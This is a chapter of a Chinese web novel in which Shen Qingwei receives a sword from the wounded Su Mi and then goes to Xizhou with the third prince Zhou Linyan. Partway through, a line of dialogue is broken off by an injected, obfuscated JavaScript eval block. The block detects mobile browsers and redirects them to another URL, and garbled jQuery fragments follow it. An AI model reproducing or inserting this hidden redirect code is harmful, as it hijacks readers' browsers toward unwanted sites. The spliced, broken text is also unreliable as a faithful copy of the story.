22. 收买

沈晴微推开门。一股浓郁的药草味扑鼻而来。这让她想起沈府的小药房,常年熬夜,药汤味浓郁。


“你的伤……”


“你的伤……”


四目相对,两个人几乎同时脱口而出。这个时候,倒是默契。


“我的那点小伤早就痊愈了。”沈晴微注意到宿弥惨白的脸上没有一丝血色,不自觉便微微拧起眉头。十日过去,他似乎还很虚弱。伤重至此,还不好好休息,偏偏跑着书房来处理事务,劳心劳神的。


“宿弥,你好点了吗?伤口还痛不痛?”


“好多了。”宿弥挤出一个笑,可唇色苍白,怎么都不像没事的样子。


“宿弥,你伤势这么重,该好好休息一阵子的。”沈晴微埋怨道。


“好。”他点点头。


沈晴微也知道,他只是嘴上答应罢了。他是霄定阁阁主,阁中事务众多,有些事又需得他亲自处理。他怎么敢休息,怎么敢停下来?


“别担心了,我真的没事。“宿弥笑着安慰她,“走吧,我们一起去看看‘谢礼’。”


剑架上摆着一柄未出鞘的剑。剑鞘用的是上等的黑檀木,纹着梅花纹,肃穆而不失雅致。


宿弥冲她使了个眼色:“看看喜欢吗?”


沈晴微上前拿起那把剑,将剑身从剑鞘中抽离。


这柄剑剑身仿的是前朝名将慕容淞的暮空剑的剑身,气势如虹。


剑格正面镶嵌透水白独山玉,背面镶嵌红缟玛瑙。剑柄附近刻有铭文“如愿”。


一般来说,剑柄的铭文刻的都是铸剑人或执剑人的姓名。这柄剑倒是稀奇,纹的“如愿”二字尽显洒脱恣意,颇合她心意。


“喜欢吗?”


“喜欢!”


“这位铸剑师太厉害了!“沈晴微用手抚过剑上的铭文,冰凉的触感和清晰的纹路让这“如愿”二字更显真实,“我从未见过剑柄上如此有创意的铭文,想来那位铸剑师也是个性情中人。”


“或许吧。”宿弥看着沈晴微脸上的笑容,心情顿时好多了。她总是那般,坚韧,顽强,活力。在她身边,他时常被她的笑感染。


他常常忍不住想,怎么有个人既能有点聒噪,有能让人喜欢听她说话。


他这样一个固执死板的人,也会喜欢上她说的古灵精怪的点子。


宿弥觉着,自己似乎在改变。在认识沈晴微之前,他是做不出专门叮嘱铸剑师在剑柄上纹祝福之语这种事情的;也不会想到把精心准备的生辰里提前送给她。


这种感觉很奇怪。他的人生本该是被规划好每一步的。可是因为她,他偶尔坏了自己的规矩。清醒的理智告诉他,这很危险。可是那颗跳动的心却会因为这些细微的改变更炽热。


他不知道这究竟是好事还是坏事。可是,在他一眼望得到头的人生布局中,她是为数不多的慰藉与提醒——提醒着他,他是一个有血有肉的人,而不是一颗冰冷的、墨守成规的棋子。


宿弥看着沈晴微。她此时此刻对这柄剑爱不释手,满眼珍视,仿佛如获至宝。


“沈晴微,谢谢你。”宿弥轻轻地说,声音在空气里几乎融化,随风而逝。


“哦对了,宿弥,下个月我要去玺州了。”沈晴微将剑里里外外仔仔细细看了个遍,才依依不舍地把剑收起来。


“玺州?”宿弥淡定的神色因为这两个字而掀起波澜。


他看似不经意地望向她,直到看到她像个没事人一样才松了口气,做贼心虚似的移开视线。


“对。下个月离澈山弟子下山历练,我抽中的任务在玺州。”沈晴微此时不是在向阁主报备,只是在和朋友话家常。


不知何时,她已经养成了习惯。而那个喜欢清静的人也习惯了她的聒噪。


“万事当心。”宿弥自然相信她的能力——没什么好担心的。


“放心吧,我可是霄定阁从无败绩的影雪。”沈晴微微微挑了挑眉,“况且,有这柄剑在手我一定会如愿的!”


她总是那样自信。不惧艰难险阻,但求尽力而为。


临走之前,沈晴微还想劝劝宿弥:“宿弥,你要好好养伤哦。等你伤好了,我们切磋切磋?”


“好。”宿弥笑着点头,看上去有精神许多。


沈晴微特别喜欢看宿弥笑起来的样子——就像是高山上的积雪消融在灿烂的阳光下,宁静美好,干净纯粹。


想看望的人已经看望了,想说的话也说了。


沈晴微慢悠悠地走回沈府。


独自一人,强装出的镇定才丢盔弃甲。一颗心缓缓地沉下来。


心好像被水淹没,既无法呐喊,又清晰地感知着坠落。


玺州。


在周临言面前她强装镇定,不让自己露出半点破绽;在宿弥面前,她装作没事人,不愿叫他担心。


但是,听到这里那个字,她的心里还是无法平静。


已经发生过的事,又怎么能轻飘飘地掀过?


她原以为,这辈子自己都不会再去玺州了。


故地重游,也不知是何滋味。


*


快马加鞭三日半,沈晴微和周临言终于到了玺州城。


任务尚无眉目,两人一商量,就决定先转悠一圈,找到玺州城的问题所在。


热闹的街市自然成为第一个目标地。


大街上人来人往。吆喝声增添了几分烟火味。


好久没来看过了,玺州还是热闹依旧。城中的馒头铺生意依旧很好,卖馒头的夫妇好像不曾变老一般,活力依旧;原来红极一时的簪子店现在已经改卖衣裳了。


现实与回忆重叠,亦真亦幻,让人忽觉一阵恍惚。


城西卖糖葫芦的铺子还开着,依旧有一群孩子在店里嬉笑玩耍。


沈晴微一眼望去,在人群中辨了许久,都没有看见记忆中的老爷爷。蘸糖的人已经换成了一位中年妇人,店里也重新挂了一块招牌。


她在京城的这些时日,见过多少人心算计,看过多少尔虞我诈。可是玺州,却还是如同记忆中那般美好,恍如世外桃源。


她原以为自己铁石心肠的人。可是故地重游,心里还是会有几分物是人非的感叹。


云然,玺州的这些变化,你知道吗?


“云然,云然?”周临言没有得到回应,便用手在她眼前晃了晃。


沈晴微这才回过神来:“殿下,怎么了?”


“你先在这里等我一会儿,我马上


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195462|165639||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


回来。”话音刚落,周临言便奔向街道的另一边,头也不回地穿进了人流中。


难道他察觉了玺州城的异样?方才她光顾着回忆,一时间疏忽了,没想起他们来玺州的目的。


“玺州如初。”


故地重游,再看这几个字,竟觉恍如隔世。命运还真是神奇,冥冥之中,又指引着她回到了这里。


玺州究竟有什么秘密,看似风平浪静的背后又藏着怎样的玄机?


周临言回来时,手上拿着两串糖葫芦。


“选一串吧。”他一只手握着一串糖葫芦,摆在她面前。


?这是做什么?又在实施他惯用的那套收买人心吗?


沈晴微没有回答,一脸茫然地看着他。


“你别误会,我没有恶意,只是恰好饿了想吃糖葫芦。见你多看了几眼那家铺子,我猜你会喜欢,所以也给你带了一串。”周临言开口解释,“云然姑娘选一串吧。”


做事滴水不漏,真是擅长笼络人心。沈晴微现在是真真切切见识了这位三皇子的“温文尔雅”。


他既然盛情相邀,她也不必虚伪推辞。


沈晴微随便接了一串糖葫芦:“那便多谢三殿下了。”


“云然,你好像有心事。”


沈晴微咬一口酸酸甜甜的山楂,听到周临言忽如其来的“断言”,嚼的时候差点咬到舌头。


不对劲。


这位三殿下今天怎么尤其奇怪?


沈晴微咽下嘴里的山楂:“殿下今日怎么了,怎么忽然关心起我来?”


她记得,他好像不是这么善心的人。准确来说,他的善良只是他在旁人面前戴的面具。她与他是合作关系,他没有必要在她面前装。


“我们又不是敌人,我关心关心队友,不是很正常吗?”周临言装出有点心虚的样子,眼睛溜了一圈就是没看向她。


沈晴微不喜欢他这样。他明明只是将她当作一颗棋子,却还继续虚伪地演着“温文尔雅”;明明知道他们之间是合作关系,还要用这套他惯用的招式对付她;明知她见过他的真面目,还是虚伪地戴着面具,自欺欺人。


她看得出来,周临言对自己还有防备。他让她做的事,都是些无关紧要的小事。


杀伐果决,不择手段,多疑谨慎——这才是她认识的周临言。


如果可以,沈晴微倒是想问问他:“面具戴久了,不累吗?”


但是她不至于这么蠢。


你来我往。既然是周临言先虚情假意,也怪不得她“花言巧语”。


“多谢殿下的好意。”沈晴微挤出一个笑。


“云然,我们是盟友啊,不用这样客气。”周临言莞尔一笑。


云然。


从前在离澈山上也就罢了,但在玺州,她不能顶着故人的名字。唯恐……扰了她的清静。


这些时日,她习惯了在离澈山上,借着故人身份活着。


在霄定阁,她是影雪,执行任务的利刃。


云然,影雪,沈晴微。


她究竟是谁啊,她又该是谁呢?


“殿下,这里不是离澈山,也没有外人在。不如,殿下就叫我的小名吧,我叫‘影雪’,影子的影,冰雪的雪。”